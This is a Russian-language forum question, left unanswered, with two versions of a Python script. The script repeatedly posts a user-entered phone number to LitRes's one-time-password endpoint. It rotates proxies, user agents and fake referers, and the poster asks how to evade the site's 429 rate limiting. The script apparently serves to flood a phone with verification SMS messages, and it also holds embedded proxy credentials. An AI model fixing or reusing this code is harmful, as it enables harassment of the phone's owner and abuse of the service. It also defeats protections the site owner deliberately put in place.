не меняется ip в запросе requests Python

phone = input("Номер: ")
phone = str(phone)

url = 'http://api.litres.ru/foundation/api/auth/send-otp'
referer_list = ["https://example.com", "https://example.org", "https://example.net"]
user_agent_list = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4644.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",
]

 payload = {
    'phone': phone,
    'country_code': "RU"
}

proxies = [
    'http://qiN3z0:[email protected]:8080'
]

while True:
    proxy = random.choice(proxies)
    user_agent = random.choice(user_agent_list)
    referer = random.choice(referer_list)

    headers = {
        "Content-Type": "application/json",
        "Sec-Fetch-Mode": "cors",
        "User-Agent": user_agent,
        "Referer": referer
    }

    try:
        response = requests.post(url, headers=headers, json=payload, proxies={'http': 
proxy}, timeout=10)
         response.raise_for_status()  # Raises HTTPError if status is not 2xx
        if response.status_code == 200:
            print("Сообщение от сервиса Liters отправлено.")
            print(response.text)
            break  # Выходим из цикла при успешной отправке
     except requests.exceptions.RequestException as e:
         print(f"Произошла ошибка при отправке запроса: {e}")

     time.sleep(random.uniform(1, 5))  # Добавляем случайную задержку между попытками

Прокси 100% рабочий и анонимный, пишет постоянно ошибку 429, что сделать чтобы сайт меня не палил. Единственное что работало это когда я впн подрубал.

phone = input("Номер: ")
phone = str(phone)
url = 'https://api.litres.ru/foundation/api/auth/send-otp'
referer_list = ["https://example.com", "https://example.org", 
"https://example.net"]
user_agent_list = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 
Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4644.110 
Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 
Safari/537.36",
]

payload = {
    'phone': phone,
    'country_code': "RU"
}

proxies = [
     'qiN7z9:[email protected]:80',

]

while True:
    proxy = random.choice(proxies)
    user_agent = random.choice(user_agent_list)
    referer = random.choice(referer_list)

headers = {
    "Content-Type": "application/json",
    "Sec-Fetch-Mode": "cors",
    "User-Agent": user_agent,
    "Referer": referer
}

try:
    response = requests.post(url, headers=headers, json=payload, proxies={'http': f'http://{proxy}', 'https': f'http://{proxy}'}, timeout=10)
    response.raise_for_status()  # Raises HTTPError if status is not 2xx
    if response.status_code == 200:
        print("Сообщение от сервиса Liters отправлено.")
        print(response.text)
       
except requests.exceptions.RequestException as e:
    print(f"Произошла ошибка при отправке запроса: {e}")

time.sleep(random.uniform(1, 5))  # Добавляем случайную задержку между попытками

Изменил код, таже ошибка, не понимаю что не так


Ответы (0 шт):